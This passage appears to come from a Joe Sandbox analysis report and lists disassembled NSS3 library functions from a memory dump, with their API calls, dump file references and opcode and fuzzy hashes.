PL_InitArenaPool.NSS3(00000000,security,6C7B87ED,00000008,?,00000800,6C7AEF74,00000000), ref: 6C81102B
TlsGetValue.KERNEL32(00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811044
free.MOZGLUE(00000000,?,00000800,6C7AEF74,00000000), ref: 6C811064

Strings

security, xrefs: 6C811025

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: cd52ca729025ff038deabcb921c25492ebee7598440ec29b754d519c86ef2c3a
Instruction ID: 0484c4e6a7af060fe18ecfac960b61bb868ecb91ef8f8c4c11eb10907642b57b
Opcode Fuzzy Hash: cd52ca729025ff038deabcb921c25492ebee7598440ec29b754d519c86ef2c3a
Instruction Fuzzy Hash: E0012531E0C2619FE7302F2D8E0A65636E8AF26748F100A29E80896E51EB71C154DBE2

Function 6C840570 Relevance: 10.5, APIs: 7, Instructions: 47COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C82C89B,FFFFFE80,?,6C82C89B), ref: 6C84058B
free.MOZGLUE(?,?,6C82C89B), ref: 6C840592
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C82C89B), ref: 6C8405AE
PR_SetError.NSS3(FFFFE09A,00000000,FFFFFE80,?,6C82C89B), ref: 6C8405C2
DeleteCriticalSection.KERNEL32(6C82C89B,?,6C82C89B), ref: 6C8405D8
free.MOZGLUE(?,?,6C82C89B), ref: 6C8405DF
PR_SetError.NSS3(FFFFE09A,00000000,?,6C82C89B), ref: 6C8405FB

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$CriticalDeleteSectionfree$Value
String ID:
API String ID: 1757055810-0
Opcode ID: 3dae356a95caff9bb4b1f34c008f36ae574bc549c05dc2227fbeec4232ffb999
Instruction ID: f1accae5ed30fa61d5af8ffef1999cfaa13126dfea7484588dd3fd9bff188360
Opcode Fuzzy Hash: 3dae356a95caff9bb4b1f34c008f36ae574bc549c05dc2227fbeec4232ffb999
Instruction Fuzzy Hash: 92019271B0D6545BEF30BEA49E0BB4A3B78D717319F600428E50666F81D7B45118C7A6

Function 6C808780 Relevance: 10.5, APIs: 7, Instructions: 44COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,?,6C7B518F,?,-00000001,?,6C7B61C4,?,6C7B5FA7), ref: 6C808790
DeleteCriticalSection.KERNEL32(?,?,?,?,6C7B518F,?,-00000001,?,6C7B61C4,?,6C7B5FA7), ref: 6C8087AB
free.MOZGLUE(?,?,6C7B518F,?,-00000001,?,6C7B61C4,?,6C7B5FA7), ref: 6C8087B2
DeleteCriticalSection.KERNEL32(0000000D,?,?,?,6C7B518F,?,-00000001,?,6C7B61C4,?,6C7B5FA7), ref: 6C8087CD
free.MOZGLUE(00000001,?,6C7B518F,?,-00000001,?,6C7B61C4,?,6C7B5FA7), ref: 6C8087D4
DeleteCriticalSection.KERNEL32(?,?,?,?,6C7B518F,?,-00000001,?,6C7B61C4,?,6C7B5FA7), ref: 6C8087E7
free.MOZGLUE(?,?,6C7B518F,?,-00000001,?,6C7B61C4,?,6C7B5FA7), ref: 6C8087EE

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: a8e006897a3866ed44600837494cdc4a7e1e8e274e7ad56999ea9ab54697dfd4
Instruction ID: b95725975a4e4e37e8383a917da07e6d6bc6d8685cb631734b5232f8a8cf231c
Opcode Fuzzy Hash: a8e006897a3866ed44600837494cdc4a7e1e8e274e7ad56999ea9ab54697dfd4
Instruction Fuzzy Hash: 560184B6705A059BCF20EF64C809957BBB8FF467B1720062DE96A93A40D731F055CBE2

Function 6C852E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6C853046

Part of subcall function 6C83EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6C83EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6C827FFB), ref: 6C85312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C853154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C852E8B

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

Part of subcall function 6C83F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6C829BFF,?,00000000,00000000), ref: 6C83F134

memcpy.VCRUNTIME140(8B3C75C0,?,6C827FFA), ref: 6C852EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C85317B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 426bafe372cfbb0388513605798304099b04bd3b4605cb32829de227a4e78776
Instruction ID: abe57cf079ce0b41efc4ba3fb2cced0669724be019217c423bb2615e0c73c21b
Opcode Fuzzy Hash: 426bafe372cfbb0388513605798304099b04bd3b4605cb32829de227a4e78776
Instruction Fuzzy Hash: 4DA1CE71A002189FDB34CF54CC84BEAB7B5EF49308F0484A9E94967781E771AD95CFA1

Function 6C81ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6C81ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6C81EDCE

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

free.MOZGLUE(00000000,?,?,?,?,6C81B04F), ref: 6C81EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C81EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6C81EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6C81EEFB

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 39d47f3124297f1bacd90f4d38d1cae2648b56c7b07282bfd298e71669bd137d
Instruction ID: 0d50d19b148aec3750263f8c79ecc015d121e6306ca22299fa1001579a76d885
Opcode Fuzzy Hash: 39d47f3124297f1bacd90f4d38d1cae2648b56c7b07282bfd298e71669bd137d
Instruction Fuzzy Hash: C0816CB5A042069FEB24CF59DA88BAB77F5FF88308F144828E81597F51D730E914CBA1

Function 6C81CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C81C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6C81DAE2,?), ref: 6C81C6C2

PR_Now.NSS3 ref: 6C81CD35

Part of subcall function 6C879DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C8C0A27), ref: 6C879DC6
Part of subcall function 6C879DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C8C0A27), ref: 6C879DD1

Part of subcall function 6C806C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C7B1C6F,00000000,00000004,?,?), ref: 6C806C3F

PR_GetCurrentThread.NSS3 ref: 6C81CD54

Part of subcall function 6C879BF0: TlsGetValue.KERNEL32(?,?,?,6C8C0A75), ref: 6C879C07

Part of subcall function 6C807260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C7B1CCC,00000000,00000000,?,?), ref: 6C80729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C81CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6C81CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6C81CE2C

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6C81CE40

Part of subcall function 6C8114C0: TlsGetValue.KERNEL32 ref: 6C8114E0
Part of subcall function 6C8114C0: EnterCriticalSection.KERNEL32 ref: 6C8114F5
Part of subcall function 6C8114C0: PR_Unlock.NSS3 ref: 6C81150D

Part of subcall function 6C81CEE0: PORT_ArenaMark_Util.NSS3(?,6C81CD93,?), ref: 6C81CEEE
Part of subcall function 6C81CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6C81CD93,?), ref: 6C81CEFC
Part of subcall function 6C81CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6C81CD93,?), ref: 6C81CF0B
Part of subcall function 6C81CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6C81CD93,?), ref: 6C81CF1D

Part of subcall function 6C81CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6C81CD93,?), ref: 6C81CF47
Part of subcall function 6C81CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6C81CD93,?), ref: 6C81CF67
Part of subcall function 6C81CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6C81CD93,?,?,?,?,?,?,?,?,?,?,?,6C81CD93,?), ref: 6C81CF78

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadZfree
String ID:
API String ID: 2342748994-0
Opcode ID: b9f1a8b657af8fffe4a806d5ffa743bde6321783633dcd90ac05fd6807658613
Instruction ID: 251e2d26398247bfba4238384b17d3c8c61358cc9b25fe1bc6ece5ffefa7258e
Opcode Fuzzy Hash: b9f1a8b657af8fffe4a806d5ffa743bde6321783633dcd90ac05fd6807658613
Instruction Fuzzy Hash: D851C3B6A041069FEB30DF69DE40BAA77F4AF48348F250934D84997F42EB31E905CB91

Function 6C8166C0 Relevance: 9.1, APIs: 6, Instructions: 132memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C8166DF

Part of subcall function 6C810FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C7B87ED,00000800,6C7AEF74,00000000), ref: 6C811000
Part of subcall function 6C810FF0: PR_NewLock.NSS3(?,00000800,6C7AEF74,00000000), ref: 6C811016
Part of subcall function 6C810FF0: PL_InitArenaPool.NSS3(00000000,security,6C7B87ED,00000008,?,00000800,6C7AEF74,00000000), ref: 6C81102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000168), ref: 6C8166F9

Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C8110F3
Part of subcall function 6C8110C0: EnterCriticalSection.KERNEL32(?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81110C
Part of subcall function 6C8110C0: PL_ArenaAllocate.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811141
Part of subcall function 6C8110C0: PR_Unlock.NSS3(?,?,?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C811182
Part of subcall function 6C8110C0: TlsGetValue.KERNEL32(?,6C7B8802,00000000,00000008,?,6C7AEF74,00000000), ref: 6C81119C

memset.VCRUNTIME140(00000000,00000000,00000168), ref: 6C816728
PK11_GetInternalKeySlot.NSS3 ref: 6C816788
NSS_OptionGet.NSS3(0000000C,00000000), ref: 6C8167AD
PORT_FreeArena_Util.NSS3(00000000,00000001), ref: 6C8167C1

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ArenaUtil$Arena_Value$Alloc_AllocateCriticalEnterFreeInitInternalK11_LockOptionPoolSectionSlotUnlockcallocmemset
String ID:
API String ID: 3227582682-0
Opcode ID: 87c0c88e2929eb415440726261c5036776c7422c02d5c26b9b3ad456534309a1
Instruction ID: e2b261a8244d43679f74a07fd38eaccdcb3c0b4db3e06404a774f74af59b29c0
Opcode Fuzzy Hash: 87c0c88e2929eb415440726261c5036776c7422c02d5c26b9b3ad456534309a1
Instruction Fuzzy Hash: 085118B1D0421A8FDB10CF59DA817DA7BF4EB09704F044A6AEC48EBB45E7749944CBA1

Function 6C7EEEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6C7EEF38

Part of subcall function 6C7D9520: PK11_IsLoggedIn.NSS3(00000000,?,6C80379E,?,00000001,?), ref: 6C7D9542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6C7EEF53

Part of subcall function 6C7F4C20: TlsGetValue.KERNEL32 ref: 6C7F4C4C
Part of subcall function 6C7F4C20: EnterCriticalSection.KERNEL32(?), ref: 6C7F4C60
Part of subcall function 6C7F4C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F4CA1
Part of subcall function 6C7F4C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6C7F4CBE
Part of subcall function 6C7F4C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F4CD2
Part of subcall function 6C7F4C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7F4D3A

PR_GetCurrentThread.NSS3 ref: 6C7EEF9E

Part of subcall function 6C879BF0: TlsGetValue.KERNEL32(?,?,?,6C8C0A75), ref: 6C879C07

free.MOZGLUE(00000000), ref: 6C7EEFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C7EF016
free.MOZGLUE(00000000), ref: 6C7EF022

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 0ec8b266d37002de38118a52c359971158416f19d2a6c57fc232f5b49d0b6f32
Instruction ID: f4a83b0d034767e367376277e0066a1a7b15a8de9b3c59b6d08ccd66b0d4d6b3
Opcode Fuzzy Hash: 0ec8b266d37002de38118a52c359971158416f19d2a6c57fc232f5b49d0b6f32
Instruction Fuzzy Hash: BA419372E00109ABDF018FA9ED85BEE7BB9EF48358F004039F914A6751E771D915CBA1

Function 6C7C4860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C4894

Part of subcall function 6C80B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8E18D0,?), ref: 6C80B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C48CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7C48DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6C7C48FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7C4912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C494A

Part of subcall function 6C85C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C85C2BF

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 3b62a497e62689a4b9f57bf3563e7deb4bed48f924178e57f55d94b44ebdc0d8
Instruction ID: 95f7db9bf5beb90ed978ed5bd914c2d21e34ba4535d9f9a72bbaa9eea1526c87
Opcode Fuzzy Hash: 3b62a497e62689a4b9f57bf3563e7deb4bed48f924178e57f55d94b44ebdc0d8
Instruction Fuzzy Hash: 6C41AF71B04306AFE710CA6ADE81BBA77E89B84718F10093CEA5597741F770E904DB53

Function 6C852640 Relevance: 9.1, APIs: 6, Instructions: 119COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,8B7874C0,?,?,?,00000000,?,?,?,6C8299E8,00000000,00000000,?,?,?,?), ref: 6C85267E
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000000,?,?,?,6C8299E8,00000000,00000000,?,?,?,?), ref: 6C85269D
memcpy.VCRUNTIME140(00000000,8B7874C0,?,?,?,?,?,?,00000000,?,?,?,6C8299E8,00000000,00000000,?), ref: 6C8526AC
PK11_AEADOp.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000,6C8299E8), ref: 6C852714
PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,?,?,?,6C8299E8,00000000,00000000,?,?,?,?,?), ref: 6C852737
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C852750

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: memcpy$ErrorK11_memset
String ID:
API String ID: 2328202073-0
Opcode ID: c40fdbc13f6a82baef9e72698a8f636ea0e445dadc67d5d877f680dc9041bab3
Instruction ID: 221a684b3776e13a9d380cee1ba8d7359230bbd1e08b2f42cdce8fb3accb53dd
Opcode Fuzzy Hash: c40fdbc13f6a82baef9e72698a8f636ea0e445dadc67d5d877f680dc9041bab3
Instruction Fuzzy Hash: CE416A32A00108AFDF24CEA8CD84AEE77B5BF99308F954528F91867650E771EC65CB90

Function 6C7DCF40 Relevance: 9.1, APIs: 6, Instructions: 112memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(00000060), ref: 6C7DCF80
SECITEM_DupItem_Util.NSS3(?), ref: 6C7DD002
PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,00000000), ref: 6C7DD016
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7DD025
PR_NewLock.NSS3 ref: 6C7DD043
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7DD074

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: ErrorUtil$Alloc_ContextDestroyItem_K11_Lock
String ID:
API String ID: 3361105336-0
Opcode ID: 6b5c65fae141e1de77b083ea2c4c2d0471181b7d3aa035f53cd24231de6faeac
Instruction ID: a1124f7904e5403a0417eaac1165a9f0a2bc01b3b274a8259b6a221d6cc5b68b
Opcode Fuzzy Hash: 6b5c65fae141e1de77b083ea2c4c2d0471181b7d3aa035f53cd24231de6faeac
Instruction Fuzzy Hash: 8C41D2B0A013119FDB10DF29CA8479A7BE4EF58318F12417ADC198BB46D770E489CFA6

Function 6C7C65D0 Relevance: 9.1, APIs: 6, Instructions: 111memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(-00000007), ref: 6C7C660F

Part of subcall function 6C810BE0: malloc.MOZGLUE(6C808D2D,?,00000000,?), ref: 6C810BF8
Part of subcall function 6C810BE0: TlsGetValue.KERNEL32(6C808D2D,?,00000000,?), ref: 6C810C15

free.MOZGLUE(00000000), ref: 6C7C6660
PR_SetError.NSS3(FFFFE00A,00000000), ref: 6C7C667B
SGN_DecodeDigestInfo.NSS3(?), ref: 6C7C669B
SECOID_GetAlgorithmTag_Util.NSS3(-00000004), ref: 6C7C66B0
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6C7C66C8

Part of subcall function 6C7F25D0: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C7C662E,?,?), ref: 6C7F2670
Part of subcall function 6C7F25D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,-00000001,?,?,?,6C7C662E,?), ref: 6C7F2684
